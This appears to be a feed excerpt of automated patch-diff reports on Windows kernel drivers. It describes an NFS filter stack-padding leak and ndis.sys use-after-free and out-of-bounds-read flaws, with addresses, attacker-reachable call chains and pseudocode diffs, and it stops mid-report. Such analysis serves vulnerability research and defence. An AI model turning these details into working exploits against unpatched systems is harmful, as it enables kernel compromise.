&lt;li&gt;In the patched build, those locations are zero after the added &lt;code&gt;memset&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.9793&lt;/td&gt;
&lt;td&gt;Security-relevant&lt;/td&gt;
&lt;td&gt;Adds &lt;code&gt;memset(&amp;amp;record, 0, 0x4c)&lt;/code&gt; before the record builder; fixes uninitialized stack padding leak on the &lt;code&gt;STATUS_SHARING_VIOLATION&lt;/code&gt; path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.9835&lt;/td&gt;
&lt;td&gt;Security-relevant&lt;/td&gt;
&lt;td&gt;Adds &lt;code&gt;memset(&amp;amp;var_70, 0, 0x4c)&lt;/code&gt; at function entry, before its record builder call; fixes the same uninitialized padding leak on the normal activity path. Also contains unrelated pool-API refactoring.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltCheckFileForActivity&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.8756&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Loop traversal and flag-bit encoding restructured; functionally equivalent.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltPreOpGetFileContext&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.7208&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Large pre-operation callback; also calls the record builder, but into a pool-allocated (zeroed) object at &lt;code&gt;[rdi+0x30]&lt;/code&gt;, so it needs no memset. Control-flow and register-allocation differences only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltInstanceSetup&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.7633&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Volume attachment callback; &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNFsFltContextCallbackCleanupAndDelete&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.8188&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Pool-management changes; custom SLIST pool replaced with lookaside-list free.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltNotifyServerOfNewlyMountedVolumeByWorkItem&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.8314&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Work-item queueing; &lt;code&gt;ExAllocatePool2&lt;/code&gt; and error-path restructuring.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltContextCreateStreamHandle&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.8323&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Stream handle context creation; control-flow restructuring, same &lt;code&gt;FltAllocateContext&lt;/code&gt;/&lt;code&gt;FltSetStreamHandleContext&lt;/code&gt; behavior.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltGetSourceDirectoryFileId&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.9576&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FileHardLinkInformation&lt;/code&gt; query; pool API modernization.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltGetTargetDirectoryFileId&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.9800&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Rename/destination query handler; explicit local initialization and struct zeroing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MsNfsFltContextFileUpdateFileId&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.9911&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;File activity update; register reallocation only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WppLoadTracingSupport&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.9842&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Tracing initialization; explicit &lt;code&gt;UNICODE_STRING&lt;/code&gt; zeroing.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Most non-security changes fall into three categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Compiler-generated control-flow restructuring&lt;/li&gt;
&lt;li&gt;Register allocation differences&lt;/li&gt;
&lt;li&gt;Pool API modernization from &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No removed bounds check, removed size validation, or deleted security gate was observed in the other changed functions. The only security-relevant delta is the pair of added &lt;code&gt;memset&lt;/code&gt; calls at the two stack-based record sites.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There are no unmatched functions in either direction.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Removed functions: none&lt;/li&gt;
&lt;li&gt;Added functions: none&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The patch does not introduce a new mitigation function and does not remove an existing validation routine. The meaningful change is the insertion of &lt;code&gt;memset&lt;/code&gt; in the two functions that build the server-call record on the stack.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence and Caveats&lt;/h2&gt;
&lt;h3&gt;Confidence&lt;/h3&gt;
&lt;p&gt;High confidence that the unpatched builds contain uninitialized stack padding in this record:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The unpatched assembly shows no zero-initialization of the record before the builder runs.&lt;/li&gt;
&lt;li&gt;The shared builder writes every field except &lt;code&gt;+0x04&lt;/code&gt; and &lt;code&gt;+0x14&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The patched assembly explicitly inserts &lt;code&gt;memset(record, 0, 0x4c)&lt;/code&gt; in both affected functions.&lt;/li&gt;
&lt;li&gt;The record is passed to a registered callback.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Medium confidence on real-world impact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The uninitialized padding is confirmed, and the direction is unambiguous (the patched build is strictly the one that zeroes).&lt;/li&gt;
&lt;li&gt;Whether the leaked bytes become an attacker-observable kernel disclosure depends on what the registered server callback does with the record, which is not determinable from these two binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Verified facts&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The call chain &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; → (&lt;code&gt;0xC0000043&lt;/code&gt; check at &lt;code&gt;0x1C0008DA9&lt;/code&gt;) → &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; is present in the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MsNfsFltServerCallInformationInitialization&lt;/code&gt; writes only the documented fields; &lt;code&gt;+0x04&lt;/code&gt; and &lt;code&gt;+0x14&lt;/code&gt; are left unwritten in both builds.&lt;/li&gt;
&lt;li&gt;The record is passed to &lt;code&gt;arg1[8]&lt;/code&gt; via the CFG dispatch stub.&lt;/li&gt;
&lt;li&gt;The builder is byte-for-byte identical in both builds (relocated &lt;code&gt;0x1C0003578&lt;/code&gt; → &lt;code&gt;0x1C0002E18&lt;/code&gt;), so the added &lt;code&gt;memset&lt;/code&gt; is the fix, not a change in the builder.&lt;/li&gt;
&lt;li&gt;The third builder caller, &lt;code&gt;MsNfsFltPreOpGetFileContext&lt;/code&gt;, populates a pool-backed record and receives no memset in the patch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The core change is straightforward: the patch adds the missing &lt;code&gt;memset&lt;/code&gt; in both stack-record sites, and the unpatched code leaks uninitialized kernel stack padding through the NFS server-call record.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>ndis.sys — NDIS open-block reference-count use-after-free race and interface-alias integer-underflow out-of-bounds read (CWE-416/CWE-125) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ndis_f1fa7592-ndis-report-20260703-211056.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/ndis_f1fa7592-ndis-report-20260703-211056.html</id><summary type="html">&lt;p&gt;KB5077181&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;ndis_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;ndis_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.9897&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: &lt;code&gt;3583&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Changed Functions: &lt;code&gt;40&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Identical Functions: &lt;code&gt;3543&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unmatched Functions (Unpatched/Patched): &lt;code&gt;0 / 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a WIL feature gate (&lt;code&gt;Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;) binary-wide (present 24 times in the unpatched build, 0 times in the patched build) and folds the affected code to the safe path. This is a delivered fix, not a staged rollout: the old (feature-off) path is not retained in any else-branch. Two genuine memory-safety defects are corrected. (1) In &lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt; and &lt;code&gt;ndisPktMonRegisterAllOpens&lt;/code&gt;, the feature-off path checks an &lt;code&gt;_NDIS_OPEN_BLOCK&lt;/code&gt; reference count outside the spinlock that guards it and then calls a blind increment helper (&lt;code&gt;ndisMReferenceOpen&lt;/code&gt;), a reference-count race (CWE-362) that can resurrect a reference on an open block being torn down (use-after-free, CWE-416); the patched build always uses the check-under-lock helper &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt;. (2) In &lt;code&gt;ndisIfAliasChange&lt;/code&gt;, a 16-bit length subtraction can underflow when a length validation is gated off, producing an out-of-bounds read (CWE-191 → CWE-125); the patched build performs the length check unconditionally.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;h4&gt;Finding 1: Open-block reference-count race in &lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt; (Medium)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Reference-count race condition (CWE-362) leading to use-after-free (CWE-416).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt; (&lt;code&gt;0x1400119A0&lt;/code&gt; unpatched, &lt;code&gt;0x140011920&lt;/code&gt; patched).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched function selects between two reference paths using the WIL feature gate &lt;code&gt;Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline&lt;/code&gt; (&lt;code&gt;0x14009B460&lt;/code&gt;). When the gate is off, it reads the open-block reference count at &lt;code&gt;openblock+0xe4&lt;/code&gt; at &lt;code&gt;0x140011a6b&lt;/code&gt; while holding the global open-list lock and the per-open-block lock at &lt;code&gt;openblock+0xe8&lt;/code&gt;, but &lt;strong&gt;not&lt;/strong&gt; the spinlock at &lt;code&gt;openblock+0x258&lt;/code&gt; that actually guards &lt;code&gt;+0xe4&lt;/code&gt;. If the count is non-zero it calls &lt;code&gt;ndisMReferenceOpen&lt;/code&gt; (&lt;code&gt;0x140059890&lt;/code&gt;), which acquires &lt;code&gt;+0x258&lt;/code&gt; and increments &lt;code&gt;+0xe4&lt;/code&gt; &lt;strong&gt;unconditionally&lt;/strong&gt;. A concurrent thread that decrements the count to zero under &lt;code&gt;+0x258&lt;/code&gt; between the unlocked read and the increment causes the blind increment to resurrect a reference on an open block that is being freed. The gate-on / patched path uses &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt;, which acquires &lt;code&gt;+0x258&lt;/code&gt; and re-checks &lt;code&gt;+0xe4&lt;/code&gt; before referencing, closing the window.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt; is a shared helper that looks up an open block by handle in &lt;code&gt;ndisGlobalOpenList&lt;/code&gt; and takes a reference.&lt;/li&gt;
&lt;li&gt;It is called from &lt;code&gt;ndisMOidRequest&lt;/code&gt; (&lt;code&gt;0x1400117F0&lt;/code&gt;, call site &lt;code&gt;0x140011814&lt;/code&gt;) and five other open-block reference sites; OID request routing by open handle is reachable from NDIS protocol/filter operations.&lt;/li&gt;
&lt;li&gt;Triggering the race requires referencing an open block by handle concurrently with that binding being closed/torn down.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 2: Open-block reference-count race in &lt;code&gt;ndisPktMonRegisterAllOpens&lt;/code&gt; (Medium)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Reference-count race condition (CWE-362) leading to use-after-free (CWE-416).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ndisPktMonRegisterAllOpens&lt;/code&gt; (&lt;code&gt;0x1400B6668&lt;/code&gt; unpatched, &lt;code&gt;0x1400B6420&lt;/code&gt; patched).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; Same pattern as Finding 1. The unpatched feature-off path checks &lt;code&gt;openblock+0xe4&lt;/code&gt; at &lt;code&gt;0x1400b66e8&lt;/code&gt; under the open-block lock at &lt;code&gt;+0xe8&lt;/code&gt; and then calls the blind &lt;code&gt;ndisMReferenceOpen&lt;/code&gt; (&lt;code&gt;0x1400b66f6&lt;/code&gt;) which re-acquires &lt;code&gt;+0x258&lt;/code&gt; and increments unconditionally. The patched version (&lt;code&gt;0x1400B6420&lt;/code&gt;) removes the gate and always calls &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt; (&lt;code&gt;0x1400b646e&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisPktMonRegisterComponentsCallback&lt;/code&gt; (&lt;code&gt;0x1400B6890&lt;/code&gt;) — invoked when PktMon (packet-capture) component registration runs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisPktMonRegisterAllOpens&lt;/code&gt; — walks the open-block list and references each open block to register it with PktMon.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisMReferenceOpen&lt;/code&gt; (unsafe increment), racing concurrent open-block teardown.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 3: Interface-alias length underflow in &lt;code&gt;ndisIfAliasChange&lt;/code&gt; (Medium)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer underflow (CWE-191) leading to out-of-bounds read (CWE-125).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ndisIfAliasChange&lt;/code&gt; (&lt;code&gt;0x1400CFE18&lt;/code&gt; unpatched, &lt;code&gt;0x1400CFB48&lt;/code&gt; patched).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched function only enforces the length check &lt;code&gt;a1-&amp;gt;Length &amp;lt; ndisDeviceStr.Length&lt;/code&gt; when the cached feature flag &lt;code&gt;ndisNDPQualityWinter25IsEnabled&lt;/code&gt; is set (&lt;code&gt;if ( ndisNDPQualityWinter25IsEnabled != 0 &amp;amp;&amp;amp; a1-&amp;gt;Length &amp;lt; ndisDeviceStr.Length )&lt;/code&gt;). When the feature is off, the check is skipped and &lt;code&gt;a1-&amp;gt;Length - ndisDeviceStr.Length&lt;/code&gt; (a &lt;code&gt;USHORT&lt;/code&gt; subtraction) underflows to a large value that becomes &lt;code&gt;GuidString.Length&lt;/code&gt;, while &lt;code&gt;GuidString.Buffer&lt;/code&gt; is advanced past the end of &lt;code&gt;a1-&amp;gt;Buffer&lt;/code&gt;. &lt;code&gt;RtlGUIDFromString&lt;/code&gt; then reads out of bounds. The patched function performs &lt;code&gt;if ( a1-&amp;gt;Length &amp;lt; ndisDeviceStr.Length )&lt;/code&gt; unconditionally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisDriverDispatch&lt;/code&gt; (&lt;code&gt;0x140044F80&lt;/code&gt;) — driver IRP dispatch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisDispatchRequest&lt;/code&gt; (&lt;code&gt;0x140044080&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisHandlePnPRequest&lt;/code&gt; (&lt;code&gt;0x140184EB0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisHandleUModePnPOp&lt;/code&gt; (&lt;code&gt;0x140075D00&lt;/code&gt;) — handles user-mode PnP operations; calls &lt;code&gt;ndisIfAliasChange&lt;/code&gt; at &lt;code&gt;0x140075EF8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisIfAliasChange&lt;/code&gt; (&lt;code&gt;0x1400CFE18&lt;/code&gt;), with the interface-name string &lt;code&gt;a1&lt;/code&gt; supplied through the request.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt; (Finding 1)&lt;/h4&gt;
&lt;p&gt;The unpatched function selects the path with the feature gate. The feature-off path reads the count outside the &lt;code&gt;+0x258&lt;/code&gt; lock and then blind-increments.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED ndisReferenceOpenByHandle @ 0x1400119A0 ---&lt;/span&gt;
&lt;span class="n"&gt;KeAcquireSpinLockAtDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature ON: safe path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TEST_BIT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisMTryReferenceOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// checks *(openblock+0xe4) INSIDE +0x258 lock&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// feature OFF: unsafe path&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TEST_BIT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- read outside +0x258 lock&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ndisMReferenceOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- increments unconditionally under +0x258 (race)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;KeReleaseSpinLockFromDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED ndisReferenceOpenByHandle @ 0x140011920 ---&lt;/span&gt;
&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x258&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// check INSIDE the +0x258 lock&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisReferenceWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x250&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x258&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;ndisMReferenceOpen&lt;/code&gt; vs &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt; (helpers)&lt;/h4&gt;
